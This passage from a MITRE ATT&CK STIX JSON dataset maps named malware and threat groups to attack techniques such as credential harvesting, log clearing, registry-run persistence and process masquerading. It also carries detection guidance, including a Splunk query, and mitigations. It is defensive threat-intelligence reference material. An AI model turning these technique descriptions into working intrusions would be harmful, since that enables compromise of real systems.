2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c6a8e6f-3340-4cd7-8abb-c39c408440f1","type":"relationship","created":"2021-01-07T20:50:42.090Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intrinsec Egregor Nov 2020","url":"https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1","description":"Bichet, J. (2020, November 12). Egregor – Prolock: Fraternal Twins ?. Retrieved January 6, 2021."}],"modified":"2021-03-22T22:05:59.707Z","description":"[Egregor](https://attack.mitre.org/software/S0554) has masqueraded the svchost.exe process to exfiltrate data.(Citation: Intrinsec Egregor Nov 2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c71a59f-05e6-44cc-ace5-33200e1f0846","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatExpert Agent.btz","description":"Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.","url":"http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"}],"modified":"2020-03-11T17:45:18.411Z","description":"[Agent.btz](https://attack.mitre.org/software/S0092) obtains the victim username and saves it to a file.(Citation: ThreatExpert Agent.btz)","relationship_type":"uses","source_ref":"malware--40d3e230-ed32-469f-ba89-be70cc08ab39","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6c7285ce-7ae2-4d85-a629-4f6eab659fb1","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.693Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) clears the system event logs using OpenEventLog/ClearEventLog APIs .(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6c740f17-8419-4ee0-95ee-71b4ef5ab35b","created":"2024-05-25T16:27:55.965Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:27:55.965Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) relies extensively on PowerShell execution from malicious attachments and related content to retrieve and execute follow-on payloads.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c749bf1-12d2-475c-9f14-fe0f0892286a","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file. Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c75071d-6997-4d41-88fa-bcd8d7b4cb76","type":"relationship","created":"2021-06-21T14:26:11.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-21T14:44:15.452Z","description":"[Ecipekac](https://attack.mitre.org/software/S0624) can use XOR, AES, and DES to encrypt loader shellcode.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c7965c9-6ea5-4693-889d-25c1c47b2698","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-02-11T16:28:40.281Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can user PowerView to execute “net user” commands and create local system accounts.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c7c4191-2d75-4ce8-b937-b9abb77d7b5b","type":"relationship","created":"2019-04-19T15:30:36.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2020-03-25T16:02:26.468Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has the capability to harvest credentials and passwords from the SAM database.(Citation: US-CERT HOPLIGHT Apr 2019)\t","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c816b9e-ec4e-417d-9427-b03c271a0c1c","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for unexpected deletion of windows registry keys that that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.","source_ref":"x-mitre-data-component--1177a4c5-31c8-400c-8544-9071166afa0e","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6c83315d-c8b5-4ab8-b345-3c79b11d690a","created":"2024-05-22T22:26:09.543Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:26:09.543Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) used a custom tool, sql.net4.exe, to query SQL databases and then identify and extract personally identifiable information.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c89f28c-963b-44ef-8dda-5916aa17b7e9","type":"relationship","created":"2021-05-26T20:17:53.337Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2021-05-26T20:17:53.337Z","description":"[APT-C-36](https://attack.mitre.org/groups/G0099) obtained and used a modified variant of [Imminent Monitor](https://attack.mitre.org/software/S0434).(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c8c3730-d8a7-4a27-a200-b745038dc8a5","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c917468-e8f1-48d1-b7e5-aab34c5ff497","type":"relationship","created":"2020-10-05T13:24:49.882Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-05T13:24:49.882Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c91f220-34c0-4d9a-8e23-e1a4b29742dc","type":"relationship","created":"2021-06-18T15:26:55.687Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}],"modified":"2021-10-07T20:51:39.363Z","description":"[Siloscape](https://attack.mitre.org/software/S0623) maps the host’s C drive to the container by creating a global symbolic link to the host through the calling of NtSetInformationSymbolicLink.(Citation: Unit 42 Siloscape Jun 2021)","relationship_type":"uses","source_ref":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","target_ref":"attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c92e9a2-ed4b-40ba-831e-91fcc60aebd4","type":"relationship","created":"2020-03-18T14:37:20.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2020-03-18T14:37:20.371Z","description":"[Machete](https://attack.mitre.org/software/S0409) renamed task names to masquerade as legitimate Google Chrome, Java, Dropbox, Adobe Reader and Python tasks.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c9649b7-00c6-4503-a911-9e8b9086eac4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2020-03-16T15:59:20.325Z","description":"When it first starts, [BADNEWS](https://attack.mitre.org/software/S0128) crawls the victim's mapped drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c99a74d-8a17-453b-9100-ebb3cca33faa","type":"relationship","created":"2020-03-13T14:10:43.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T14:10:43.600Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c9abd4f-d439-40ff-94fa-dd397d473942","type":"relationship","created":"2021-09-07T13:43:36.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"},{"source_name":"Talos Transparent Tribe May 2021","url":"https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html","description":"Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:37:09.747Z","description":"[Transparent Tribe](https://attack.mitre.org/groups/G0134) has registered domains to mimic file sharing, government, defense, and research websites for use in targeted campaigns.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Talos Transparent Tribe May 2021)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6c9c0332-bdd8-4692-af01-cc7ebc486a41","created":"2024-03-13T21:43:56.980Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"},{"source_name":"Metabase Q Mispadu Trojan 2023","description":"Garcia, F., Regalado, D. (2023, March 7). Inside Mispadu massive infection campaign in LATAM. Retrieved March 15, 2024.","url":"https://www.metabaseq.com/mispadu-banking-trojan/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-02T17:17:22.994Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) creates a link in the startup folder for persistence.(Citation: ESET Security Mispadu Facebook Ads 2019) [Mispadu](https://attack.mitre.org/software/S1122) adds persistence via the registry key `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`.(Citation: Metabase Q Mispadu Trojan 2023)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c9ed67e-95f1-4585-8d8d-14a27f21e14c","type":"relationship","created":"2021-08-18T18:52:47.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-31T15:25:14.241Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used steganography to hide stolen data inside other files stored on Github.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ca6f07c-5e37-44c4-b528-c1dd4d609171","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Windows Event Forwarding FEB 2018","description":"Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.","url":"https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection"},{"source_name":"Microsoft 4697 APR 2017","description":"Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.","url":"https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T14:39:02.681Z","description":"Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)), especially those associated with unknown/abnormal drivers. New, benign services may be created during installation of new software.\n\nAnalytic 1 - Creation of new services with unusual directory paths such as temporal files in APPDATA\n\n (sourcetype=WinEventLog:Security EventCode=\"4697\") OR (sourcetype=WinEventLog:System EventCode=\"7045\") | where ServiceFilePath LIKE \"%APPDATA%\" OR ServiceImage LIKE \"%PUBLIC%\"","relationship_type":"detects","source_ref":"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ca7aa45-86c5-4ba7-bd43-8d9446fb05d2","type":"relationship","created":"2020-01-24T18:38:56.162Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage","description":"Lich, B., Tobin, J., Hall, J. (2017, April 5). Manage Windows Defender Credential Guard. Retrieved November 27, 2017.","source_name":"Microsoft Enable Cred Guard April 2017"},{"url":"https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works","description":"Lich, B., Tobin, J. (2017, April 5). How Windows Defender Credential Guard works. Retrieved November 27, 2017.","source_name":"Microsoft Credential Guard April 2017"}],"modified":"2020-03-25T16:52:26.862Z","description":"On Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)","relationship_type":"mitigates","source_ref":"course-of-action--49c06d54-9002-491d-9147-8efb537fbd26","target_ref":"attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6cad1b79-d806-4eaa-82d3-59e23ccc6939","created":"2024-08-20T18:57:50.883Z","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T18:57:50.883Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) attempts to stop the MSSQL Windows service to ensure successful encryption of locked files.(Citation: Microsoft Prestige ransomware October 2022) ","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6caff042-f300-421c-b6c8-6c8dd6d69f1b","type":"relationship","created":"2020-10-21T16:25:56.742Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."}],"modified":"2020-10-21T22:48:31.298Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has automatically collected mouse clicks, continuous screenshots on the machine, and set timers to collect the contents of the clipboard and website browsing.(Citation: FireEye Metamorfo Apr 2018) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6cb293a0-aa2b-4919-b1ac-a801608aa4b5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"},{"source_name":"Unit 42 OilRig Sept 2018","description":"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}],"modified":"2020-03-17T02:06:30.265Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) uses HTTP for C2 communications.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 OilRig Sept 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6cb2f741-eedb-4b1d-8d84-7823f0095d44","created":"2019-03-26T17:48:52.214Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary Emotet Feb 2019","description":"Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019.","url":"https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/"},{"source_name":"Secureworks Emotet Nov 2018","description":"Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.","url":"https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader"},{"source_name":"Symantec Emotet Jul 2018","description":"Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor"},{"source_name":"US-CERT Emotet Jul 2018","description":"US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 